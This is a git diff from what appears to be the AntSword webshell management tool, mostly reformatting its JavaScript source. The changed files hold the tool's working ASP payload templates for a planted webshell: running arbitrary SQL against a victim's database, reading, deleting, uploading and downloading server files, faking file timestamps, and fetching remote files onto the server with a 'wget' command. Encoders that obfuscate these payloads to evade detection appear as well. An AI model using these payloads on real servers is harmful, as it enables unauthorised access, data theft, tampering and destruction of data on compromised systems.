`Function TN(n):Select Case n:Case 2:TN="smallint":Case 3:TN="int":Case 4:TN="real":Case 5:TN="float":Case 6:TN="money":Case 7:TN="datetime":Case 11:TN="bit":Case 12:TN="variant":Case 16:TN="tinyint":Case 17:TN="tinyint":Case 20:TN="bigint":Case 72:TN="unique":Case 128:TN="binary":Case 129:TN="char":Case 130:TN="nchar":Case 131:TN="numeric":Case 135:TN="datetime":Case 200:TN="varchar":Case 201:TN="text":Case 202:TN="nvarchar":Case 203:TN="ntext":Case 204:TN="varbinary":Case 205:TN="image":Case Else:TN=n:End Select:End Function:Set Conn=Server.CreateObject("Adodb.connection"):Dim SI:Conn.Open ""&bd(Request("${arg1}"))&"":If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:Set Rs=CreateObject("Adodb.Recordset"):Rs.open ""&bd(Request("${arg2}"))&"",Conn,1,1:If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:For n=0 To Rs.Fields.Count-1:SI=SI&Rs.Fields.Item(n).Name&" ("&TN(Rs.Fields.Item(n).Type)&")"&chr(9):Next:Rs.Close:End If:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)`,
_: `Function TN(n):Select Case n:Case 2:TN="smallint":Case 3:TN="int":Case 4:TN="real":Case 5:TN="float":Case 6:TN="money":Case 7:TN="datetime":Case 11:TN="bit":Case 12:TN="variant":Case 16:TN="tinyint":Case 17:TN="tinyint":Case 20:TN="bigint":Case 72:TN="unique":Case 128:TN="binary":Case 129:TN="char":Case 130:TN="nchar":Case 131:TN="numeric":Case 135:TN="datetime":Case 200:TN="varchar":Case 201:TN="text":Case 202:TN="nvarchar":Case 203:TN="ntext":Case 204:TN="varbinary":Case 205:TN="image":Case Else:TN=n:End Select:End Function:Set Conn=Server.CreateObject("Adodb.connection"):Dim SI:Conn.Open ""&bd(Request("${arg1}"))&"":If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:Set Rs=CreateObject("Adodb.Recordset"):Rs.open ""&bd(Request("${arg2}"))&"",Conn,1,1:If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:For n=0 To Rs.Fields.Count-1:SI=SI&Rs.Fields.Item(n).Name&" ("&TN(Rs.Fields.Item(n).Type)&")"&chr(9):Next:Rs.Close:End If:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)`,
[arg1]: '#{hex::conn}',
[arg2]: '#{hex::table}'
},
// 执行SQL语句
query: {
_:
`Set Conn=Server.CreateObject("Adodb.connection"):Conn.Open ""&bd(Request("${arg1}"))&"":Dim CO,HD,RN:CO=chr(9)&chr(124)&chr(9):RN=chr(13)&chr(10):HD="Result"&CO&RN:If Err Then:Response.Write HD&Err.Description&CO&RN:Err.Clear:Else:Set Rs=Conn.Execute(""&bd(Request("${arg2}"))&""):If Err Then:Response.Write HD&Err.Number&":"&Err.Description&CO&RN:Err.Clear:Else:Dim FN:FN=Rs.Fields.Count-1:For n=0 To FN:Response.Write Rs.Fields.Item(n).Name&CO:Next:Response.Write RN:Do While Not(Rs.Eof Or Rs.Bof):For n=0 To FN:Response.Write Rs(n):Response.Write CO:Next:Response.Write RN:Rs.MoveNext:Loop:End If:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:`,
_: `Set Conn=Server.CreateObject("Adodb.connection"):Conn.Open ""&bd(Request("${arg1}"))&"":Dim CO,HD,RN:CO=chr(9)&chr(124)&chr(9):RN=chr(13)&chr(10):HD="Result"&CO&RN:If Err Then:Response.Write HD&Err.Description&CO&RN:Err.Clear:Else:Set Rs=Conn.Execute(""&bd(Request("${arg2}"))&""):If Err Then:Response.Write HD&Err.Number&":"&Err.Description&CO&RN:Err.Clear:Else:Dim FN:FN=Rs.Fields.Count-1:For n=0 To FN:Response.Write Rs.Fields.Item(n).Name&CO:Next:Response.Write RN:Do While Not(Rs.Eof Or Rs.Bof):For n=0 To FN:Response.Write Rs(n):Response.Write CO:Next:Response.Write RN:Rs.MoveNext:Loop:End If:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:`,
[arg1]: '#{hex::conn}',
[arg2]: '#{hex::sql}',
}
......
......@@ -5,8 +5,7 @@
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
// 显示所有数据库
show_databases: {
_:
`Set Conn=Server.CreateObject("Adodb.connection"):
_: `Set Conn=Server.CreateObject("Adodb.connection"):
Dim SI:
Conn.Open bd(Request("${arg1}")):
If Err Then:
......@@ -32,8 +31,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
},
// 显示数据库所有表
show_tables: {
_:
`Set Conn=Server.CreateObject("Adodb.connection"):
_: `Set Conn=Server.CreateObject("Adodb.connection"):
Dim SI:
Conn.Open ""&bd(Request("${arg1}"))&"":
If Err Then:
......@@ -60,8 +58,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
},
// 显示表字段
show_columns: {
_:
`Set Conn=Server.CreateObject("Adodb.connection"):
_: `Set Conn=Server.CreateObject("Adodb.connection"):
Dim SI:
Conn.Open ""&bd(Request("${arg1}"))&"":
If Err Then:
......@@ -86,14 +83,13 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
Conn.Close:
End If:
Set Conn=Nothing:
Response.Write(SI)`.replace(/\n\s+/g,''),
Response.Write(SI)`.replace(/\n\s+/g, ''),
[arg1]: '#{hex::conn}',
[arg2]: '#{hex::table}'
},
// 执行SQL语句
query: {
_:
`Set Conn=Server.CreateObject("Adodb.connection"):
_: `Set Conn=Server.CreateObject("Adodb.connection"):
Conn.Open ""&bd(Request("${arg1}"))&"":
Dim CO,HD,RN:CO=chr(9)&chr(124)&chr(9):
RN=chr(13)&chr(10):
......
......@@ -5,8 +5,7 @@
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
// 显示所有数据库
show_databases: {
_:
`Set Conn=Server.CreateObject("Adodb.connection"):
_: `Set Conn=Server.CreateObject("Adodb.connection"):
Dim SI:
Conn.Open bd(Request("${arg1}")):
If Err Then:
......@@ -34,8 +33,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
},
// 显示数据库所有表
show_tables: {
_:
`Set Conn=Server.CreateObject("Adodb.connection"):
_: `Set Conn=Server.CreateObject("Adodb.connection"):
Dim SI:
Conn.Open ""&bd(Request("${arg1}"))&"":
If Err Then:
......@@ -62,8 +60,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
},
// 显示表字段
show_columns: {
_:
`Set Conn=Server.CreateObject("Adodb.connection"):
_: `Set Conn=Server.CreateObject("Adodb.connection"):
Dim SI:
Conn.Open ""&bd(Request("${arg1}"))&"":
If Err Then:
......@@ -91,8 +88,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
},
// 执行SQL语句
query: {
_:
`Set Conn=Server.CreateObject("Adodb.connection"):
_: `Set Conn=Server.CreateObject("Adodb.connection"):
Conn.Open ""&bd(Request("${arg1}"))&"":
Conn.DefaultDatabase=""&Request("${arg3}")&"":
Dim CO,HD,RN:
......
......@@ -4,74 +4,63 @@
module.exports = (arg1, arg2, arg3) => ({
dir: {
_:
`Dim RR:RR=bd(Request("${arg1}")):Function FD(dt):FD=Year(dt)&"-":If Len(Month(dt))=1 Then:FD = FD&"0":End If:FD=FD&Month(dt)&"-":If Len(Day(dt))=1 Then:FD=FD&"0":End If:FD=FD&Day(dt)&" "&FormatDateTime(dt,4)&":":If Len(Second(dt))=1 Then:FD=FD&"0":End If:FD=FD&Second(dt):End Function:SET C=CreateObject("Scripting.FileSystemObject"):Set FO=C.GetFolder(""&RR&""):If Err Then:Response.Write("ERROR:// "&Err.Description):Err.Clear:Else:For Each F in FO.subfolders:Response.Write F.Name&chr(47)&chr(9)&FD(F.DateLastModified)&chr(9)&chr(48)&chr(9)&C.GetFolder(F.Path).attributes&chr(10):Next:For Each L in FO.files:Response.Write L.Name&chr(9)&FD(L.DateLastModified)&chr(9)&L.size&chr(9)&C.GetFile(L.Path).attributes&chr(10):Next:End If`,
_: `Dim RR:RR=bd(Request("${arg1}")):Function FD(dt):FD=Year(dt)&"-":If Len(Month(dt))=1 Then:FD = FD&"0":End If:FD=FD&Month(dt)&"-":If Len(Day(dt))=1 Then:FD=FD&"0":End If:FD=FD&Day(dt)&" "&FormatDateTime(dt,4)&":":If Len(Second(dt))=1 Then:FD=FD&"0":End If:FD=FD&Second(dt):End Function:SET C=CreateObject("Scripting.FileSystemObject"):Set FO=C.GetFolder(""&RR&""):If Err Then:Response.Write("ERROR:// "&Err.Description):Err.Clear:Else:For Each F in FO.subfolders:Response.Write F.Name&chr(47)&chr(9)&FD(F.DateLastModified)&chr(9)&chr(48)&chr(9)&C.GetFolder(F.Path).attributes&chr(10):Next:For Each L in FO.files:Response.Write L.Name&chr(9)&FD(L.DateLastModified)&chr(9)&L.size&chr(9)&C.GetFile(L.Path).attributes&chr(10):Next:End If`,
[arg1]: "#{hex::path}"
},
delete: {
_:
`Dim P:P=bd(Request("${arg1}")):Set FS=CreateObject("Scripting.FileSystemObject"):If FS.FolderExists(P)=true Then:FS.DeleteFolder(P):Else:FS.DeleteFile(P):End If:Set FS=Nothing:If Err Then:S="ERROR:// "&Err.Description:Else:S="1":End If:Response.Write(S)`,
_: `Dim P:P=bd(Request("${arg1}")):Set FS=CreateObject("Scripting.FileSystemObject"):If FS.FolderExists(P)=true Then:FS.DeleteFolder(P):Else:FS.DeleteFile(P):End If:Set FS=Nothing:If Err Then:S="ERROR:// "&Err.Description:Else:S="1":End If:Response.Write(S)`,
[arg1]: "#{hex::path}"
},
create_file: {
_:
`CreateObject("Scripting.FileSystemObject").CreateTextFile(""&bd(Request("${arg1}"))&"").Write(""&bd(Request("${arg2}"))&""):If Err Then:Response.Write("ERROR:// "&Err.Description):Else:Response.Write("1"):End If`,
_: `CreateObject("Scripting.FileSystemObject").CreateTextFile(""&bd(Request("${arg1}"))&"").Write(""&bd(Request("${arg2}"))&""):If Err Then:Response.Write("ERROR:// "&Err.Description):Else:Response.Write("1"):End If`,
[arg1]: "#{hex::path}",
[arg2]: "#{hex::content}"
},
read_file: {
_:
`Response.Write(CreateObject("Scripting.FileSystemObject").OpenTextfile(bd(Request("${arg1}")),1,False).readall):If Err Then:Response.Write("ERROR:// "&Err.Description):Err.Clear:End If`,
_: `Response.Write(CreateObject("Scripting.FileSystemObject").OpenTextfile(bd(Request("${arg1}")),1,False).readall):If Err Then:Response.Write("ERROR:// "&Err.Description):Err.Clear:End If`,
[arg1]: "#{hex::path}"
},
copy: {
_:
`SF=bd(Request("${arg1}")):DF=bd(Request("${arg2}")):Set Fs=CreateObject("Scripting.FileSystemObject"):If Fs.FolderExists(SF) Then:Fs.CopyFolder SF,DF:Else:Fs.CopyFile SF,DF:End If:Set Fs=Nothing:If Err Then:SI="ERROR:// "&Err.Description:else:SI="1":End If:Response.Write(SI)`,
_: `SF=bd(Request("${arg1}")):DF=bd(Request("${arg2}")):Set Fs=CreateObject("Scripting.FileSystemObject"):If Fs.FolderExists(SF) Then:Fs.CopyFolder SF,DF:Else:Fs.CopyFile SF,DF:End If:Set Fs=Nothing:If Err Then:SI="ERROR:// "&Err.Description:else:SI="1":End If:Response.Write(SI)`,
[arg1]: "#{hex::path}",
[arg2]: "#{hex::target}"
},
download_file: {
_:
`Dim i,c,r:Set S=Server.CreateObject("Adodb.Stream"):If Not Err Then:With S:.Mode=3:.Type=1:.Open:.LoadFromFile(bd(Request("${arg1}"))):i=0:c=.Size:r=1024:While i<c:Response.BinaryWrite .Read(r):Response.Flush:i=i+r:Wend:.Close:Set S=Nothing:End With:Else:Response.BinaryWrite "ERROR:// "&Err.Description:End If`,
_: `Dim i,c,r:Set S=Server.CreateObject("Adodb.Stream"):If Not Err Then:With S:.Mode=3:.Type=1:.Open:.LoadFromFile(bd(Request("${arg1}"))):i=0:c=.Size:r=1024:While i<c:Response.BinaryWrite .Read(r):Response.Flush:i=i+r:Wend:.Close:Set S=Nothing:End With:Else:Response.BinaryWrite "ERROR:// "&Err.Description:End If`,
[arg1]: "#{hex::path}"
},
upload_file: {
_:
`Dim l,ss,ff,T:ff=bd(request("${arg1}")):ss=Request("${arg2}"):l=Len(ss):Set S=Server.CreateObject("Adodb.Stream"):With S:.Type=1:.Mode=3:.Open:On Error Resume Next:.LoadFromFile ""&ff&"":.Position=.Size:If Err Then:Err.Clear:End If:set rs=CreateObject("ADODB.Recordset"):rs.fields.append "bb",205,l/2:rs.open:rs.addnew:rs("bb")=ss+chrb(0):rs.update:.Write rs("bb").getchunk(l/2):rs.close:Set rs=Nothing:.Position=0:.SaveToFile ""&ff&"",2:.Close:End With:Set S=Nothing:If Err Then:T=Err.Description:Err.Clear:Else:T="1":End If:Response.Write(T)`,
_: `Dim l,ss,ff,T:ff=bd(request("${arg1}")):ss=Request("${arg2}"):l=Len(ss):Set S=Server.CreateObject("Adodb.Stream"):With S:.Type=1:.Mode=3:.Open:On Error Resume Next:.LoadFromFile ""&ff&"":.Position=.Size:If Err Then:Err.Clear:End If:set rs=CreateObject("ADODB.Recordset"):rs.fields.append "bb",205,l/2:rs.open:rs.addnew:rs("bb")=ss+chrb(0):rs.update:.Write rs("bb").getchunk(l/2):rs.close:Set rs=Nothing:.Position=0:.SaveToFile ""&ff&"",2:.Close:End With:Set S=Nothing:If Err Then:T=Err.Description:Err.Clear:Else:T="1":End If:Response.Write(T)`,
[arg1]: "#{hex::path}",
[arg2]: "#{buffer::content}",
[arg3]: "1"
},
rename: {
_:
`SF=bd(Request("${arg1}")):DF=bd(Request("${arg2}")):Set Fs=CreateObject("Scripting.FileSystemObject"):If Fs.FolderExists(SF) Then:Fs.MoveFolder SF,DF:Else:Fs.MoveFile SF,DF:End If:Set Fs=Nothing:If Err Then:SI="ERROR:// "&Err.Description:Else:SI="1":End If:Response.Write(SI)`,
_: `SF=bd(Request("${arg1}")):DF=bd(Request("${arg2}")):Set Fs=CreateObject("Scripting.FileSystemObject"):If Fs.FolderExists(SF) Then:Fs.MoveFolder SF,DF:Else:Fs.MoveFile SF,DF:End If:Set Fs=Nothing:If Err Then:SI="ERROR:// "&Err.Description:Else:SI="1":End If:Response.Write(SI)`,
[arg1]: "#{hex::path}",
[arg2]: "#{hex::name}"
},
retime: {
_:
`FN=bd(Request("${arg1}")):TM=bd(Request("${arg2}")):AA=Split(FN,"\\"):PT="":For i=LBound(AA) To UBound(AA)-1:PT=PT&AA(i)&"\\":Next:NM=AA(UBound(AA)):Server.CreateObject("Shell.Application").NameSpace(PT).ParseName(NM).Modifydate=TM:If Err Then:SI="ERROR:// "&PT&Err.Description:Err.Clear:Else:SI="1":End If:Response.Write(SI)`,
_: `FN=bd(Request("${arg1}")):TM=bd(Request("${arg2}")):AA=Split(FN,"\\"):PT="":For i=LBound(AA) To UBound(AA)-1:PT=PT&AA(i)&"\\":Next:NM=AA(UBound(AA)):Server.CreateObject("Shell.Application").NameSpace(PT).ParseName(NM).Modifydate=TM:If Err Then:SI="ERROR:// "&PT&Err.Description:Err.Clear:Else:SI="1":End If:Response.Write(SI)`,
[arg1]: "#{hex::path}",
[arg2]: "#{hex::time}"
},
mkdir: {
_:
`Set Fs=CreateObject("Scripting.FileSystemObject"):Fs.CreateFolder(bd(Request("${arg1}"))):Set Fs=Nothing:If Err Then:S="ERROR:// "&Err.Description:Else:S="1":End If:Response.Write(S)`,
_: `Set Fs=CreateObject("Scripting.FileSystemObject"):Fs.CreateFolder(bd(Request("${arg1}"))):Set Fs=Nothing:If Err Then:S="ERROR:// "&Err.Description:Else:S="1":End If:Response.Write(S)`,
[arg1]: "#{hex::path}"
},
wget: {
_:
`Dim SI:Set x=CreateObject("MSXML2.ServerXmlHttp"):x.Open "GET",""&bd(Request("${arg1}"))&"",0:x.Send():If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:set s=CreateObject("ADODB.Stream"):s.Mode=3:s.Type=1:s.Open():s.Write x.ResponseBody:s.SaveToFile ""&bd(Request("${arg2}"))&"",2:If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:SI="1":End If:Set x=Nothing:Set s=Nothing:End If:Response.Write(SI)`,
_: `Dim SI:Set x=CreateObject("MSXML2.ServerXmlHttp"):x.Open "GET",""&bd(Request("${arg1}"))&"",0:x.Send():If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:set s=CreateObject("ADODB.Stream"):s.Mode=3:s.Type=1:s.Open():s.Write x.ResponseBody:s.SaveToFile ""&bd(Request("${arg2}"))&"",2:If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:SI="1":End If:Set x=Nothing:Set s=Nothing:End If:Response.Write(SI)`,
[arg1]: "#{hex::url}",
[arg2]: "#{hex::path}"
}
......
......@@ -28,10 +28,10 @@ function string2unicode(str) {
}
/*
* @param {String} pwd 连接密码
* @param {Array} data 编码器处理前的 payload 数组
* @return {Array} data 编码器处理后的 payload 数组
*/
* @param {String} pwd 连接密码
* @param {Array} data 编码器处理前的 payload 数组
* @return {Array} data 编码器处理后的 payload 数组
*/
module.exports = (pwd, data, ext = {}) => {
data[pwd] = string2unicode(data['_']).replace(/\\u/g, 'asunescape(%)u');
// 删除 _ 原有的payload
......
......@@ -30,7 +30,7 @@ class Base {
* @param {Object} data 请求数据
* @return {Object} 生成数据
*/
default(pwd, data) {
default (pwd, data) {
data[pwd] = data['_'];
delete data['_'];
return data;
......@@ -161,7 +161,7 @@ class Base {
// 解析模板
for (let funcName in templateObj) {
this[templateName][funcName] = ((args) => {
if (typeof(args) === 'object') {
if (typeof (args) === 'object') {
// 如果脚本函数需要参数,则进行解析
return (argv) => {
let data = {};
......@@ -194,7 +194,9 @@ class Base {
}
} else {
// 否则直接返回
return () => ({_: args});
return () => ({
_: args
});
}
})(templateObj[funcName]);
}
......@@ -211,16 +213,18 @@ class Base {
// https://github.com/AntSwordProject/antSword/issues/135#issuecomment-475842870
delete require.cache[require.resolve(`${enc}`)];
// QAQ!我也不知道为什么,如果直接require变量名,babel编译就会warning,so我只好加个`咯~
this['__encoder__'][enc.indexOf(`encoder/`) > -1
? enc.split(`encoder/`)[1]
: enc.split(`encoder\\`)[1]] = require(`${enc}`);
this['__encoder__'][enc.indexOf(`encoder/`) > -1 ?
enc.split(`encoder/`)[1] :
enc.split(`encoder\\`)[1]
] = require(`${enc}`);
}
parseDecoder(dec) {
delete require.cache[require.resolve(`${dec}`)];
this['__decoder__'][dec.indexOf(`decoder/`) > -1
? dec.split(`decoder/`)[1]
: dec.split(`decoder\\`)[1]] = require(`${dec}`);
this['__decoder__'][dec.indexOf(`decoder/`) > -1 ?
dec.split(`decoder/`)[1] :
dec.split(`decoder\\`)[1]
] = require(`${dec}`);
}
/**
......@@ -237,7 +241,11 @@ class Base {
}
// 编码器处理
let finalData = this.__encoder__[this.__opts__['encoder']](this.__opts__['pwd'], data, ext);
return {'tag_s': tag_s, 'tag_e': tag_e, 'data': finalData};
return {
'tag_s': tag_s,
'tag_e': tag_e,
'data': finalData
};
}
/**
......@@ -255,7 +263,7 @@ class Base {
}
return new Promise((res, rej) => {
// 随机ID(用于监听数据来源)
const hash = (String(+ new Date) + String(Math.random()))
const hash = (String(+new Date) + String(Math.random()))
.substr(10, 10)
.replace('.', '_');
// 监听数据返回
......@@ -265,10 +273,12 @@ class Base {
let buff = this.__decoder__[this.__opts__['decoder'] || 'default'].decode_buff(ret['buff'], ext);
let encoding = antSword
.Decodes
.detectEncoding(buff, {defaultEncoding: "unknown"});
encoding = encoding != "unknown"
? encoding
: this.__opts__['encode'];
.detectEncoding(buff, {
defaultEncoding: "unknown"
});
encoding = encoding != "unknown" ?
encoding :
this.__opts__['encode'];
let text = antSword
.Decodes
.decode(buff, encoding);
......@@ -280,9 +290,9 @@ class Base {
})
// HTTP请求返回字节流
.on(`request-chunk-${hash}`, (event, ret) => {
return chunkCallBack
? chunkCallBack(this.__decoder__[this.__opts__['decoder'] || 'default'].decode_buff(ret))
: null;
return chunkCallBack ?
chunkCallBack(this.__decoder__[this.__opts__['decoder'] || 'default'].decode_buff(ret)) :
null;
})
// 数据请求错误
.once(`request-error-${hash}`, (event, ret) => {
......@@ -319,7 +329,7 @@ class Base {
const opt = this.complete(postCode, true);
return new Promise((ret, rej) => {
// 随机ID(用于监听数据来源)
const hash = (String(+ new Date) + String(Math.random()))
const hash = (String(+new Date) + String(Math.random()))
.substr(10, 10)
.replace('.', '_');
// 监听数据返回
......@@ -330,9 +340,9 @@ class Base {
})
// HTTP请求返回字节流大小
.on(`download-progress-${hash}`, (event, size) => {
return progressCallback
? progressCallback(size)
: null;
return progressCallback ?
progressCallback(size) :
null;
})
// 数据请求错误
.once(`download-error-${hash}`, (event, ret) => {
......
......@@ -9,11 +9,11 @@ const rot13encode = (s) => {
return s.replace(/[a-zA-Z]/g, function (c) {
// Get the character code of the current character and add 13 to it If it is
// larger than z's character code then subtract 26 to support wrap around.
return String.fromCharCode((c <= "Z"
? 90
: 122) >= (c = c.charCodeAt(0) + 13)
? c
: c - 26);
return String.fromCharCode((c <= "Z" ?
90 :
122) >= (c = c.charCodeAt(0) + 13) ?
c :
c - 26);
});
};
......
......@@ -11,11 +11,11 @@ module.exports = (pwd, data, ext = null) => {
return s.replace(/[a-zA-Z]/g, function (c) {
// Get the character code of the current character and add 13 to it If it is
// larger than z's character code then subtract 26 to support wrap around.
return String.fromCharCode((c <= "Z"
? 90
: 122) >= (c = c.charCodeAt(0) + 13)
? c
: c - 26);
return String.fromCharCode((c <= "Z" ?
90 :
122) >= (c = c.charCodeAt(0) + 13) ?
c :
c - 26);
});
}
......
......@@ -14,9 +14,9 @@ const languages = {
let lang = antSword['storage']('language', false, navigator.language.substr(0, 2));
// 判断本地设置语言是否符合语言模板
lang = languages[lang]
? lang
: 'en';
lang = languages[lang] ?
lang :
'en';
// 返回语言模板
let langModule = require(`./${lang}`);
......
......@@ -10,7 +10,10 @@
// 添加源码目录到全局模块加载变量,以提供后边加载
const path = require('path');
const Module = require('module').Module;
const {remote} = require('electron');
const {
remote
} = require('electron');
Module
.globalPaths
.push(path.join(remote.process.env.AS_WORKDIR, 'source'));
......@@ -39,9 +42,9 @@ window.addEventListener('load', () => {
};
for (let k in o) {
if (new RegExp("(" + k + ")").test(format)) {
format = format.replace(RegExp.$1, RegExp.$1.length == 1
? o[k]
: ("00" + o[k]).substr(("" + o[k]).length));
format = format.replace(RegExp.$1, RegExp.$1.length == 1 ?
o[k] :
("00" + o[k]).substr(("" + o[k]).length));
}
}
return format;
......@@ -107,16 +110,37 @@ window.addEventListener('load', () => {
}
loadingUI();
// 开始加载css
loadCSS('ant-static://libs/bmenu/bmenu.css').then(() => loadCSS('ant-static://libs/toastr/toastr.min.css')).then(() => loadCSS('ant-static://libs/layer/src/skin/layer.css')).then(() => loadCSS('ant-static://libs/layer/src/skin/layer.ext.css')).then(() => loadCSS('ant-static://libs/laydate/need/laydate.css')).then(() => loadCSS('ant-static://libs/laydate/skins/default/laydate.css')).then(() => loadCSS('ant-static://libs/terminal/css/jquery.terminal-1.1.1.css')).then(() => loadCSS('ant-static://libs/font-awesome/css/font-awesome.min.css')).then(() => loadCSS('ant-static://libs/dhtmlx/codebase/dhtmlx.css')).then(() => loadCSS('ant-static://libs/dhtmlx/skins/mytheme/dhtmlx.css')).then(() => loadCSS('ant-static://css/index.css'));
loadCSS('ant-static://libs/bmenu/bmenu.css')
.then(() => loadCSS('ant-static://libs/toastr/toastr.min.css'))
.then(() => loadCSS('ant-static://libs/layer/src/skin/layer.css'))
.then(() => loadCSS('ant-static://libs/layer/src/skin/layer.ext.css'))
.then(() => loadCSS('ant-static://libs/laydate/need/laydate.css'))
.then(() => loadCSS('ant-static://libs/laydate/skins/default/laydate.css'))
.then(() => loadCSS('ant-static://libs/terminal/css/jquery.terminal-1.1.1.css'))
.then(() => loadCSS('ant-static://libs/font-awesome/css/font-awesome.min.css'))
.then(() => loadCSS('ant-static://libs/dhtmlx/codebase/dhtmlx.css'))
.then(() => loadCSS('ant-static://libs/dhtmlx/skins/mytheme/dhtmlx.css'))
.then(() => loadCSS('ant-static://css/index.css'));
// 加载js资源
loadJS('ant-static://libs/jquery/jquery.js').then(() => loadJS('ant-static://libs/ace/ace.js')).then(() => loadJS('ant-static://libs/ace/ext-language_tools.js')).then(() => loadJS('ant-static://libs/bmenu/bmenu.js')).then(() => loadJS('ant-static://libs/toastr/toastr.js')).then(() => loadJS('ant-static://libs/layer/src/layer.js')).then(() => loadJS('ant-static://libs/laydate/laydate.js')).then(() => loadJS('ant-static://libs/terminal/js/jquery.terminal-min-1.1.1.js')).then(() => loadJS('ant-static://libs/dhtmlx/codebase/dhtmlx.js')).then(() => {
loadJS('ant-static://libs/jquery/jquery.js')
.then(() => loadJS('ant-static://libs/ace/ace.js'))
.then(() => loadJS('ant-static://libs/ace/ext-language_tools.js'))
.then(() => loadJS('ant-static://libs/bmenu/bmenu.js'))
.then(() => loadJS('ant-static://libs/toastr/toastr.js'))
.then(() => loadJS('ant-static://libs/layer/src/layer.js'))
.then(() => loadJS('ant-static://libs/laydate/laydate.js'))
.then(() => loadJS('ant-static://libs/terminal/js/jquery.terminal-min-1.1.1.js'))
.then(() => loadJS('ant-static://libs/dhtmlx/codebase/dhtmlx.js'))
.then(() => {
/**
* 配置layer弹出层
* @param {[type]} {extend: 'extend/layer.ext.js'} [description]
* @return {[type]} [description]
*/
layer.config({extend: 'extend/layer.ext.js'});
layer.config({
extend: 'extend/layer.ext.js'
});
// 加载程序入口
require('app.entry');
// LOGO
......
......@@ -42,9 +42,9 @@ class ASP {
.tree
.attachEvent('onClick', (id) => {
// 更改按钮状态
id.startsWith('conn::')
? this.enableToolbar()
: this.disableToolbar();
id.startsWith('conn::') ?
this.enableToolbar() :
this.disableToolbar();
// 设置当前配置
const tmp = id.split('::');
const arr = tmp[1].split(':');
......@@ -125,8 +125,7 @@ class ASP {
this
.tree
.callEvent('onClick', [id]);
bmenu([
{
bmenu([{
text: LANG['list']['menu']['add'],
icon: 'fa fa-plus-circle',
action: this
......@@ -148,8 +147,7 @@ class ASP {
action: this
.delConf
.bind(this)
}
], event);
}], event);
});
}
......@@ -188,7 +186,7 @@ class ASP {
// 添加配置
addConf() {
const hash = (+ new Date * Math.random())
const hash = (+new Date * Math.random())
.toString(16)
.substr(2, 8);
// 创建窗口
......@@ -205,8 +203,7 @@ class ASP {
win.denyResize();
// 工具栏
const toolbar = win.attachToolbar();
toolbar.loadStruct([
{
toolbar.loadStruct([{
id: 'add',
type: 'button',
icon: 'plus-circle',
......@@ -225,12 +222,10 @@ class ASP {
type: 'button',
icon: 'spinner',
text: LANG['form']['toolbar']['test']
}
]);
}]);
// form
const form = win.attachForm([
{
const form = win.attachForm([{
type: 'settings',
position: 'label-left',
labelWidth: 80,
......@@ -239,8 +234,7 @@ class ASP {
type: 'block',
inputWidth: 'auto',
offsetTop: 12,
list: [
{
list: [{
type: 'combo',
label: LANG['form']['type'],
readonly: true,
......@@ -262,16 +256,16 @@ class ASP {
required: true,
value: 'Dsn=DsnName;',
rows: 9
}
]
}
], true);
}]
}], true);
form.attachEvent('onChange', (_, id) => {
if (_ !== 'type') {
return
};
form.setFormData({conn: this.conns[id]});
form.setFormData({
conn: this.conns[id]
});
});
// 工具栏点击事件
......@@ -309,7 +303,9 @@ class ASP {
win.progressOn();
this
.core
.request(this.core[`database_${_data['type']}`].show_databases({conn: _data['conn']}))
.request(this.core[`database_${_data['type']}`].show_databases({
conn: _data['conn']
}))
.then((res) => {
if (res['text'].length > 0) {
if (res['text'].indexOf("ERROR://") > -1) {
......@@ -341,7 +337,7 @@ class ASP {
_id: this.manager.opt['_id'],
id: id
});
const hash = (+ new Date * Math.random())
const hash = (+new Date * Math.random())
.toString(16)
.substr(2, 8);
// 创建窗口
......@@ -358,8 +354,7 @@ class ASP {
win.denyResize();
// 工具栏
const toolbar = win.attachToolbar();
toolbar.loadStruct([
{
toolbar.loadStruct([{
id: 'edit',
type: 'button',
icon: 'edit',
......@@ -378,12 +373,10 @@ class ASP {
type: 'button',
icon: 'spinner',
text: LANG['form']['toolbar']['test']
}
]);
}]);
// form
const form = win.attachForm([
{
const form = win.attachForm([{
type: 'settings',
position: 'label-left',
labelWidth: 80,
......@@ -392,8 +385,7 @@ class ASP {
type: 'block',
inputWidth: 'auto',
offsetTop: 12,
list: [
{
list: [{
type: 'combo',
label: LANG['form']['type'],
readonly: true,
......@@ -416,16 +408,16 @@ class ASP {
required: true,
value: conf['conn'],
rows: 9
}
]
}
], true);
}]
}], true);
form.attachEvent('onChange', (_, id) => {
if (_ !== 'type') {
return
};
form.setFormData({conn: this.conns[id]});
form.setFormData({
conn: this.conns[id]
});
});
// 工具栏点击事件
......@@ -463,7 +455,9 @@ class ASP {
win.progressOn();
this
.core
.request(this.core[`database_${_data['type']}`].show_databases({conn: _data['conn']}))
.request(this.core[`database_${_data['type']}`].show_databases({
conn: _data['conn']
}))
.then((res) => {
if (res['text'].length > 0) {
if (res['text'].indexOf("ERROR://") > -1) {
......@@ -532,9 +526,9 @@ class ASP {
.core
.request(this.core[`database_${conf['type']}`].show_databases({
conn: conf['conn'],
dbname: ['access', 'microsoft_jet_oledb_4_0'].indexOf(conf['type']) > -1
? conf['conn'].match(/[\w]+.mdb$/)
: 'database'
dbname: ['access', 'microsoft_jet_oledb_4_0'].indexOf(conf['type']) > -1 ?
conf['conn'].match(/[\w]+.mdb$/) :
'database'
}))
.then((res) => {
let ret = res['text'];
......@@ -597,7 +591,10 @@ class ASP {
this
.core
.request(this.core[`database_${conf['type']}`].show_tables({conn: conf['conn'], dbname: db}))
